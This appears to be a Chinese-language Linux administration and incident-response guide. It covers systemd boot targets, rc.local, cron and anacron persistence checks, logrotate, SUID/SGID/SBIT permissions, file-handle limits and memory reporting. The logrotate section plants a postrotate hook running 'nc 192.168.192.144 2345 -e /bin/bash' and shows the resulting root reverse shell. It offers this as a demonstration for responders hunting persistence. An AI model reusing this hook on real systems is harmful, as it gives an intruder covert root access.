[root@localhost system]# cat poweroff.target | grep Allow

AllowIsolate=yes

修改文件需执行systemctl daemon-reload才能生效。

 

查看默认运行级别

[root@localhost system]# systemctl get-default

multi-user.target

修改默认运行级别

[root@localhost system]# systemctl set-default graphical.target

Removed symlink /etc/systemd/system/default.target.

Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/graphical.target.

查看开机启动程序(相当于chkconfig –list)

ls /etc/systemd/system/multi-user.target.wants/

开机启动(相当于chkconfig httpd on)

[root@localhost system]# systemctl enable httpd.service 

Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.

去除开机启动(相当于chkconfig httpd off)

[root@localhost system]# systemctl disable httpd.service                                

Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.

查看服务是否开机启动(相当于chkconfig –list httpd)

[root@localhost system]# systemctl is-enabled httpd.service

enabled

CentOS7下rc.local文件默认不会在开机执行,我们来看一下rc.local文件的内容

[root@localhost system]# cat /etc/rc.local

#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

#

# It is highly advisable to create own systemd services or udev rules

# to run scripts during boot instead of using this file.

#

# In contrast to previous versions due to parallel execution during boot

# this script will NOT be run after all other services.

#

# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

# that this script will be executed during boot.

可以看到一段注释,翻译如下:

#这个文件是为了兼容性的问题而添加的。

#强烈建议创建自己的systemd服务或udev规则来在开机时运行脚本而不是使用这个文件。

#与以前的版本引导时的并行执行相比较,这个脚本将不会在其他所有的服务后执行。

#请记住,你必须执行“chmod +x /etc/rc.d/rc.local”来确保确保这个脚本在引导时执行。

然后我们看/usr/lib/systemd/system/rc-local.service

[root@localhost system]# cat /usr/lib/systemd/system/rc-local.service | grep ExecStart

ExecStart=/etc/rc.d/rc.local start

那我们启动下rc-local.service

[root@localhost system]# chmod u+x /etc/rc.d/rc.local

[root@localhost system]# systemctl start rc-local

总结一下,针对CentOS7系统,需要排查的点:

1)排查修改的service

find /usr/lib/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5
find /etc/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5

2)/etc/rc.d/init.d

3)/etc/rc.d/rc.local

不过需要看/etc/rc.d/rc.local是否有x权限。

在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:
一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。
那这些目录下的任务是怎么调用的?这里CentOS5和CentOS6还是有区别的。

CentOS5中:

[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m

[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

run-parts命令位于/usr/bin/run-parts,内容是很简单的一个shell脚本,就是遍历目标文件夹,执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron

[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.monthly
fi

这里就需要介绍一些/usr/sbin/anacron,anacron是干什么的?
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务, 而是以天为单位或者是在启动后立刻进行 anacron 的动作,他会去检查停机期间应该进行但是并没有进行的 crontab 任务,并将该任务运行一遍后,anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab

[root@jianshe_28 cron.daily]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

1	65	cron.daily		run-parts /etc/cron.daily
7	70	cron.weekly		run-parts /etc/cron.weekly
30	75	cron.monthly		run-parts /etc/cron.monthly

具体含义如下:
period delay job-identifier command
<轮回天数> <轮回内的重试时间> <任务描述> <命令>
7 70 cron.weekly run-parts /etc/cron.weekly

第一部分是轮回天数,即是指任务在多少天内执行一次,monthly 就是一个月(30天)内执行,weekly 即是在一周之内执行一次。

第二部分 delay 是指轮回内的重试时间,这个意思有两部分,一个是 anacron 启动以后该服务 ready 暂不运行的时间(周任务的 70 delay 在 anacron 启动后70分钟内不执行,而处于 ready 状态),另一个是指如果该任务到达运行时间后却因为某种原因没有执行(比如前一个服务还没有运行完成,anacron 在 /etc/init.d 的脚本中加了一个 -s 参数,便是指在前一个任务没有完成时不执行下一个任务),依然以周任务和月任务为例,周任务在启动 anacron 后的 70 分钟执行,月任务在服务启动后 75 分钟执行,但是,如果月任务到达服务启动后 75 分钟,可是周任务运行超过5分钟依然没有完成,那月任务将会进入下一个 75 分钟的轮回,在下一个 75 分钟时再检查周任务是否完成,如果前一个任务完成了那月任务开始运行。

第三部分 job-identifier ,anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件,里面记录着任务完成的时间,如果任务是第一次运行的话那这个文件应该是空的。anacron运行时,会去检查“/var/spool/anacron/这部分”文件中的内容,内容为一个日期,如下:

[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily    cron.monthly  cron.weekly   
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713

根据这个日期判断下面的第四部分要不要执行。 比如说这里写的是cron.daily,然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话,那anancron执行后就行执行这一行对应第四行的动作。

第四部分最为简单,仅仅是你想运行的命令

/usr/sbin/anacron常用参数:
-s :开始连续的运行各项工作 (job),会依据时间记录档的数据判断是否进行;
-f :强制进行,而不去判断时间记录档的时间戳记;
-n :立刻进行未进行的任务,而不延迟 (delay) 等待时间;
-u :仅升级时间记录档的时间戳记,不进行任何工作。

所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了,所以这里只是通过anacron -u来记录了执行的时间。

 

CentOS6中:

[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?
我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。

[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0

而CentOS6下有一个0hourly

[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly

看一下执行的任务

[root@localhost /]# cat /etc/cron.d/0hourly 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly

然后看一下/etc/cron.hourly所执行的脚本

[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron 
#!/bin/bash
# Skip excecution unless the date has changed from the previous run 
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power &> /dev/null
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

然后看一下/etc/anacrontab的内容

[root@localhost /]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1	5	cron.daily		nice run-parts /etc/cron.daily
7	25	cron.weekly		nice run-parts /etc/cron.weekly
@monthly 45	cron.monthly		nice run-parts /etc/cron.monthly

这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。

总结:
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试:
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt

[root@localhost cron.weekly]# /usr/sbin/anacron -s

等待一分多钟后,可以看到

[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt 
1

 

另外还需要注意Logrotate配置

在CentOS6中/etc/cron.daily/logrotate每小时执行一次。

[root@server120 logrotate.d]# cat /etc/cron.daily/logrotate 
#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1
EXITVALUE=$?
if [ $EXITVALUE != 0 ]; then
    /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]"
fi
exit 0

配置文件为/etc/logrotate.conf。

logrotate可以执行命令,例如来看一下:

[root@server120 logrotate.d]# cat /etc/logrotate.d/httpd 
/var/log/httpd/*log {
    missingok
    notifempty
    sharedscripts
    delaycompress
    postrotate
        /sbin/service httpd reload > /dev/null 2>/dev/null || true
    endscript
}

其中postrotate表示日志轮询之后,这里是自动重启Httpd服务。
另外还有prerotate表示在日志轮询之前。

比如/etc/logrotate.d下新建一个test

[root@server120 logrotate.d]# cat /etc/logrotate.d/test 
/tmp/base3306.log {
    daily
    missingok
    size = 5
    notifempty
    sharedscripts
    delaycompress
    postrotate
    nc 192.168.192.144 2345 -e /bin/bash
    endscript
}

然后我们手工执行一下

/usr/sbin/logrotate /etc/logrotate.conf

192.168.192.144:

[root@server144 ~]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:54178
whoami
root

 

1、SUID


使用SUID肯定满足一下几点:
1.SUID只对二进制文件有效
2.调用者对该文件有执行权
3.在执行过程中,调用者会暂时获得该文件的所有者权限
4.该权限只在程序执行的过程中有效
我们用passwd来举例,我们知道每个账户都能够修改自己的密码。

[hehe@vincent 1]$ which passwd
/usr/bin/passwd
[hehe@vincent 1]$ ll /usr/bin/passwd 
-rwsr-xr-x. 1 root root 30768 2月  22 2012 /usr/bin/passwd

passwd的拥有者是root,且拥有者权限里面本应是x的那一列显示的是s,这说明这个命令具有SUID权限。
因为改密码会写/etc/shadow文件,我们来看一下/etc/shadow文件的权限

[hehe@vincent 1]$ ll /etc/shadow
---------- 1 root root 1088 8月  14 03:28 /etc/shadow

发现权限是000,(注意:root用户对所有文件都是有rw权限的,对所有目录都是有rwx权限的),这意味着普通用户确实不能独读或写这个文件。
不过因为passwd命令具有SUID权限,所以普通用户执行这个命令时,当系统生成对应的进程后,这个进程就拥有了/usr/bin/passwd文件拥有者root的权限。
我们来切换到普通账户使用passwd,然后Ctrl+Z打断。然后用PS查看进程发现权限为root。

[vinc@vincent 1]$ ps axu | grep passwd | grep -v grep
root      88233  0.0  0.1 168088  1916 pts/0    T    04:06   0:00 passwd

另外例如ping命令

[root@server120 ~]# ls -al /bin/ping
-rwsr-xr-x. 1 root root 40760 9月 26 2013 /bin/ping

因为需要root权限才能打开网络套接字。

2、SGID


SGID对于二进制程序和目录有用
程序执行着要有x权限
执行者在执行过程中会获得改程序用户组的权限
1)当作用于文件时

[root@vincent 1]# which locate
/usr/bin/locate
[root@vincent 1]# ll /usr/bin/locate 
-rwx--s--x 1 root slocate 38464 10月 10 2012 /usr/bin/locate

发现用户组权限中应该出现x的位置显示的s,表示这个命令具有SGID权限。而普通用户只有x权限而没有rw权限。
locate这个命令,实际上会去访问/var/lib/mlocate/mlocate.db这个文件。

[root@vincent 1]# ll /var/lib/mlocate/mlocate.db
-rw-r----- 1 root slocate 4248718 8月  14 03:26 /var/lib/mlocate/mlocate.db

这个文件对于普通用户没有任何权限。所以理论上普通用户执行locate命令是不行的。
不过因为locate命令有SGID权限,所以运行locate生成进程时,这个进程会得到locate命令的用户组权限,相当于pstar这个用户被临时加入了用户组slocate。
于是就对mlocate.db这个文件有了r权限,可以访问了!
2)当作用于目录时
当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。

 

3、SBIT


正常情况下一个目录的other权限为r-x,如果没有r权限的话,进入目录无法执行ls

[vinc@vincent 1]$ ls
ls: 无法打开目录.: 权限不够

而如果没有x权限的话,无法cd到目录下

[vinc@vincent opt]$ cd 1
bash: cd: 1: 权限不够

SBIT出现在其他用户权限的执行位上,它只能用来修饰一个目录。当某一个目录拥有SBIT权限时,则任何一个能够在这个目录下建立文件的用户,该用户在这个目录下所建立的文件,只有该用户自己和root可以删除,其他用户均不可以。

[root@vincent opt]# ls -ld /tmp/
drwxrwxrwt. 14 root root 4096 8月  14 03:26 /tmp/

我们看到/tmp就是这种文件。
我们来实验一下:
将/opt/1目录设置SBIT

[hehe@vincent 1]$ ls -ld /opt/1
drwsr-srwt 2 vinc vinc 4096 8月  14 04:27 /opt/1

在目录下新建文件,将权限修改为777,发现hehe目录无法删除。

[root@vincent 1]# touch 1
[root@vincent 1]# ls
1
[root@vincent 1]# chmod 777 1
[root@vincent 1]# su hehe
[hehe@vincent 1]$ rm -f /opt/1/1 
rm: 无法删除"/opt/1/1": 不允许的操作

那么如何设置权限呢
设置和查看SUID/SGID/SBIT权限的方法:
SUID是4   SGID是2  SBIT是1
chmod 4755 filename
第一个7代表的就是这三个特殊命令,后面的755是普通权限。上面的命令把filename这个文件加入了SUID权限。
查看特殊权限的方法就是普通的ls命令:
SUID会在所属用户权限本应是x的地方显示s
SGID会在所属用户组权限本应是x的地方显示s
SBIT在其它用户权限本应是x的地方显示t

服务器跑出异常Too Many Open Files 就是因为打开的文件句柄达到上限。

文件句柄是一个十六位长度的二进制代码(Windows95后为32位无符号整数),代表一个已被打开文件的通道号,借助于这个句柄,你的应用程序即可使用这个相应的句柄对文件进行随意存取操作,简单看来程序通过句柄获得资源的引用,来进行资源的打开和关闭的操作。

ulimit -a 查看当前用户的文件句柄限制

默认情况下root是没有限制的,普通用户默认句柄数是1024。

修改 /etc/security/limits.conf 下面的代码:

*        soft    nproc 65535

*        hard    nproc 65535

*        soft    nofile 65535

*        hard    nofile 65535

有两种限制,一种是soft软限制,在数目超过软限制的时候系统会给出warning警告,但是达到hard硬限制的时候系统将拒绝或者异常了。  修改之后可能需要重启shell生效。

nproc表示最大进程数,nofile表示打开的最大文件句柄数。

[vincen@server120 root]$ ulimit -u

2048

[vincen@server120 root]$ ulimit -n

65536

发现普通用户vincen的最大进程数并不是65535。其实在CentOS6中用户的最大进程数还受到了/etc/security/limits.d/90-nproc.conf的限制。

[root@server120 ~]# cat /etc/security/limits.d/90-nproc.conf | grep -v "^#" | grep -v "^$"

*          soft    nproc     2048

root       soft    nproc     unlimited

然后修改为

*          soft    nproc     65535

root       soft    nproc     unlimited

即可。

0x01 Free


[root@template tmp]# free -m

             total       used       free     shared    buffers     cached

Mem:         15724        840      14883          0        213        214

-/+ buffers/cache:        412      15311

Swap:         4999          0       4999

这里先说一下buffer与cache

buffers 就是存放要输出到disk(块设备)的数据,缓冲满了一次写,提高io性能(内存 -> 磁盘)

cached 就是存放从disk上读出的数据,常用的缓存起来,减少io(磁盘 -> 内存)

 

然后我们看一下每个值具体的含义:

Mem

Mem:表示物理内存统计

-/+ buffers/cached:表示物理内存的缓存统计

Swap:表示硬盘上交换分区的使用情况

 

系统的总物理内存:15724M,注意第一行的Free并非是真正可用的内存。我们来看下每个值具体的含义

total1:表示物理内存总量

used1:表示总计分配给缓存(包含buffers 与cache )使用的数量,但其中可能部分缓存并未实际使用

free1:未被分配的内存

shared1:共享内存

buffers1:系统分配但未被使用的buffers 数量

cached1:系统分配但未被使用的cache 数量

 

-/+buffers/cache

used2:实际使用的buffers 与cache 总量,也是实际使用的内存总量。

free2:未被使用的buffers 与cache 和未被分配的内存之和,这就是系统当前实际可用内存。

 

具体计算方式如下:

total1 = used1 + free1

total1 = used2 + free2

used1 = buffers1 + cached1 + used2

free2 = buffers1 + cached1 + free1

 

0x02 Top


[root@template tmp]# free -k        

             total       used       free     shared    buffers     cached

Mem:      16101816    1029264   15072552          0     220152     386804

-/+ buffers/cache:     422308   15679508

Swap:      5119992          0    5119992

[root@template tmp]#  top | head -n 5

top - 14:48:29 up 23:53,  3 users,  load average: 0.00, 0.01, 0.00

Tasks: 142 total,   1 running, 141 sleeping,   0 stopped,   0 zombie

Cpu(s):  0.2%us,  0.1%sy,  0.0%ni, 99.7%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st

Mem:  16101816k total,  1029388k used, 15072428k free,   220128k buffers

Swap:  5119992k total,        0k used,  5119992k free,   386800k cached

显示的值实际与我们使用Free第一行显示的数据几乎一致,但是top无法给出free 第二行的 -/+ buffers/cache 数据。所以top命令不能完全反映出物理内存的实际使用量,推荐用free查看物理内存的实际使用量。

 

0x03 Htop


查看内存显示的实际内存用量,与used2一致。

[root@template tmp]# yum install htop

[root@template tmp]# free -m

             total       used       free     shared    buffers     cached

Mem:         15724       1005      14719          0        214        377

-/+ buffers/cache:        412      15312

Swap:         4999          0       4999